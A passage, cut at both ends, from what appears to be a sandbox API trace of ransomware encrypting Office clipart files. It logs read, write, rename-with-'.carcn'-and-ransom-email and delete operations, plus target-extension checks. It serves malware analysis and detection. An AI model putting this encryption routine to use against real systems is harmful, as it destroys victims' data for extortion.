Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1 [0286.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.150] lstrlenW (lpString=".doc") returned 4 [0286.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.150] lstrlenW (lpString=".docx") returned 5 [0286.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.150] lstrlenW (lpString=".pdf") returned 4 [0286.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.150] lstrlenW (lpString=".xls") returned 4 [0286.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.150] lstrlenW (lpString=".xlsx") returned 5 [0286.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.151] lstrlenW (lpString=".ppt") returned 4 [0286.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.151] lstrlenW (lpString=".zip") returned 4 [0286.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.151] lstrlenW (lpString=".rar") returned 4 [0286.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.151] lstrlenW (lpString=".bz2") returned 4 [0286.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.151] lstrlenW (lpString=".7z") returned 3 [0286.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.151] lstrlenW (lpString=".dbf") returned 4 [0286.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.151] lstrlenW (lpString=".1cd") returned 4 [0286.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68 [0286.151] lstrlenW (lpString=".jpg") returned 4 [0286.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0286.154] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1324) returned 1 [0286.154] CloseHandle (hObject=0x4ac) returned 1 [0286.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220 [0286.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.159] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.159] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.178] GetLastError () returned 0x0 [0286.178] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x52c, lpOverlapped=0x0) returned 1 [0286.190] WriteFile (in: hFile=0x41c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x530, lpOverlapped=0x0) returned 1 [0286.191] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.191] WriteFile (in: hFile=0x41c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.191] SetEndOfFile (hFile=0x41c) returned 1 [0286.191] CloseHandle (hObject=0x41c) returned 1 [0286.191] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.191] SetEndOfFile (hFile=0x560) returned 1 [0286.194] CloseHandle (hObject=0x560) returned 1 [0286.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1 [0286.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.196] lstrlenW (lpString=".doc") returned 4 [0286.196] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.196] lstrlenW (lpString=".docx") returned 5 [0286.196] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.196] lstrlenW (lpString=".pdf") returned 4 [0286.196] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.196] lstrlenW (lpString=".xls") returned 4 [0286.196] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.196] lstrlenW (lpString=".xlsx") returned 5 [0286.196] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.196] lstrlenW (lpString=".ppt") returned 4 [0286.196] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.197] lstrlenW (lpString=".zip") returned 4 [0286.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.197] lstrlenW (lpString=".rar") returned 4 [0286.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.197] lstrlenW (lpString=".bz2") returned 4 [0286.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.197] lstrlenW (lpString=".7z") returned 3 [0286.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.197] lstrlenW (lpString=".dbf") returned 4 [0286.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.197] lstrlenW (lpString=".1cd") returned 4 [0286.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68 [0286.197] lstrlenW (lpString=".jpg") returned 4 [0286.197] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.197] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.198] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=7932) returned 1 [0286.198] CloseHandle (hObject=0x560) returned 1 [0286.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 0x220 [0286.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.199] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.199] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.200] GetLastError () returned 0x0 [0286.200] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x1efc, lpOverlapped=0x0) returned 1 [0286.214] WriteFile (in: hFile=0x41c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x1f00, lpOverlapped=0x0) returned 1 [0286.215] ReadFile (in: hFile=0x560, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.215] WriteFile (in: hFile=0x41c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.215] SetEndOfFile (hFile=0x41c) returned 1 [0286.216] CloseHandle (hObject=0x41c) returned 1 [0286.216] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.216] SetEndOfFile (hFile=0x560) returned 1 [0286.219] CloseHandle (hObject=0x560) returned 1 [0286.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.219] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0286.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.220] lstrlenW (lpString=".doc") returned 4 [0286.220] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.220] lstrlenW (lpString=".docx") returned 5 [0286.220] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.220] lstrlenW (lpString=".pdf") returned 4 [0286.220] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.220] lstrlenW (lpString=".xls") returned 4 [0286.220] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.221] lstrlenW (lpString=".xlsx") returned 5 [0286.221] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.221] lstrlenW (lpString=".ppt") returned 4 [0286.221] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.221] lstrlenW (lpString=".zip") returned 4 [0286.221] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.221] lstrlenW (lpString=".rar") returned 4 [0286.221] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.221] lstrlenW (lpString=".bz2") returned 4 [0286.221] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.221] lstrlenW (lpString=".7z") returned 3 [0286.221] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.221] lstrlenW (lpString=".dbf") returned 4 [0286.221] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.221] lstrlenW (lpString=".1cd") returned 4 [0286.221] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.221] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 68 [0286.221] lstrlenW (lpString=".jpg") returned 4 [0286.221] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0286.222] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=5552) returned 1 [0286.222] CloseHandle (hObject=0x560) returned 1 [0286.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220 [0286.586] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0286.587] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.587] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.587] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0286.588] GetLastError () returned 0x0 [0286.588] ReadFile (in: hFile=0x53c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x15b0, lpOverlapped=0x0) returned 1 [0286.590] WriteFile (in: hFile=0x56c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x15c0, lpOverlapped=0x0) returned 1 [0286.591] ReadFile (in: hFile=0x53c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0286.591] WriteFile (in: hFile=0x56c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0286.591] SetEndOfFile (hFile=0x56c) returned 1 [0286.591] CloseHandle (hObject=0x56c) returned 1 [0286.592] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.592] SetEndOfFile (hFile=0x53c) returned 1 [0286.594] CloseHandle (hObject=0x53c) returned 1 [0286.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0286.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.595] lstrlenW (lpString=".doc") returned 4 [0286.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString=".docx") returned 5 [0286.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.596] lstrlenW (lpString=".pdf") returned 4 [0286.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString=".xls") returned 4 [0286.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.596] lstrlenW (lpString=".xlsx") returned 5 [0286.596] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.596] lstrlenW (lpString=".ppt") returned 4 [0286.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.596] lstrlenW (lpString=".zip") returned 4 [0286.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.596] lstrlenW (lpString=".rar") returned 4 [0286.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString=".bz2") returned 4 [0286.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString=".7z") returned 3 [0286.596] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.596] lstrlenW (lpString=".dbf") returned 4 [0286.596] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.597] lstrlenW (lpString=".1cd") returned 4 [0286.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.597] lstrlenW (lpString=".jpg") returned 4 [0286.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.597] lstrlenW (lpString=".doc") returned 4 [0286.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.597] lstrlenW (lpString=".docx") returned 5 [0286.597] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.597] lstrlenW (lpString=".pdf") returned 4 [0286.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.597] lstrlenW (lpString=".xls") returned 4 [0286.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.597] lstrlenW (lpString=".xlsx") returned 5 [0286.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.597] lstrlenW (lpString=".ppt") returned 4 [0286.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.597] lstrlenW (lpString=".zip") returned 4 [0286.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.597] lstrlenW (lpString=".rar") returned 4 [0286.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.598] lstrlenW (lpString=".bz2") returned 4 [0286.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.598] lstrlenW (lpString=".7z") returned 3 [0286.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.598] lstrlenW (lpString=".dbf") returned 4 [0286.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.598] lstrlenW (lpString=".1cd") returned 4 [0286.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68 [0286.598] lstrlenW (lpString=".jpg") returned 4 [0286.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.598] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.598] lstrlenW (lpString="HM00426_.WMF") returned 12 [0286.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0286.600] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=68776) returned 1 [0286.600] CloseHandle (hObject=0x53c) returned 1 [0286.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0286.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0286.601] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.601] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0286.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0286.602] GetLastError () returned 0x0 [0286.602] ReadFile (in: hFile=0x53c, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x10ca8, lpOverlapped=0x0) returned 1 [0286.646] WriteFile (in: hFile=0x56c, 